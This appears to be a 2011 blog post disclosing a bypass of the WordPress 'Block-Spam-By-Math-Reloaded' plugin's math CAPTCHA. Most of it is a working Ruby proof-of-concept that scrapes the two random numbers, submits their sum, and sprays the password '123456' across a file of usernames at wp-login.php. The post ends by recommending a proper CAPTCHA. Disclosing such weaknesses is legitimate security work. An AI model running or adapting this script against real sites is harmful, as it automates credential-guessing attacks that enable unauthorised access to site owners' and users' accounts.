Friday, August 19, 2011

WordPress "Block-Spam-By-Math-Reloaded" plugin bypass



"Plugin description: This plugin protects your Wordpress 3.x login, comments, and new user/new blog signup process against spambots with a simple math question."

- http://plugins.svn.wordpress.org/block-spam-by-math-reloaded/trunk/block-spam-by-math-reloaded.php

However this simple math question is very simple and can be easily bypassed. The plugin generates two random numbers between 2 and 15 and asks the user to enter their sum.


The script below is a PoC of how to bypass the plugin in the wp-login.php page.

#!/usr/bin/env ruby

require 'uri'
require 'net/http'
require 'cgi'

# Request Config
base_url = "http://[TAGERT]/wp-login.php"

# Proxy Config
use_proxy = true
proxy_address = '127.0.0.1'
proxy_port = '8080'

# Headers config
useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'
cookie = '[PASTE_THE_COOKIE_HERE]'
headers = {
'Host' => URI.parse(base_url).host,
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => useragent,
'Cookie' => cookie
}

# do request
def built_request(url,use_proxy,proxy_address,proxy_port)
if (use_proxy)
http = Net::HTTP.new(url.host,url.port,proxy_address,proxy_port)
return http
else
http = Net::HTTP.new(url.host,url.port)
return http
end
end

def smartaleck(values)
answer = 0
values.each { |a| answer+=a.to_i }
return answer
end

def getvalues(response)
i = 0
values = []
while (i <= 1) do
response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)})
values[i] = $3
i += 1
end
return values
end

# base request
url = URI.parse(base_url)
$http = built_request(url,use_proxy,proxy_address,proxy_port)
resp = $http.request_get(url.path)

v = getvalues(resp)
$sec_answer = smartaleck(v)
puts "#{v[0]} + #{v[1]} = #{$sec_answer}"

# File contains one user per line
users = File.open('files/user.txt','r')

# Fixed password
pass = '123456'

users.each do |user|
begin
payload = "log=#{user.chomp}&pwd=#{pass}&mathvalue2=#{$sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&wp-submit=Log+In&redirect_to=#{CGI::escape("http://"+url.host+"/wp-admin/")}&testcookie=1"
resp = $http.request_post(url.path, payload, headers)
v = getvalues(resp)
$sec_answer = smartaleck(v)
puts "#{v[0]} + #{v[1]} = #{$sec_answer}"
rescue Timeout::Error
puts "Time out"
sleep(0.5)
next
end
end

users.close


I believe the good and old captacha, well implemented, yet is a better solution for these cases.


No comments: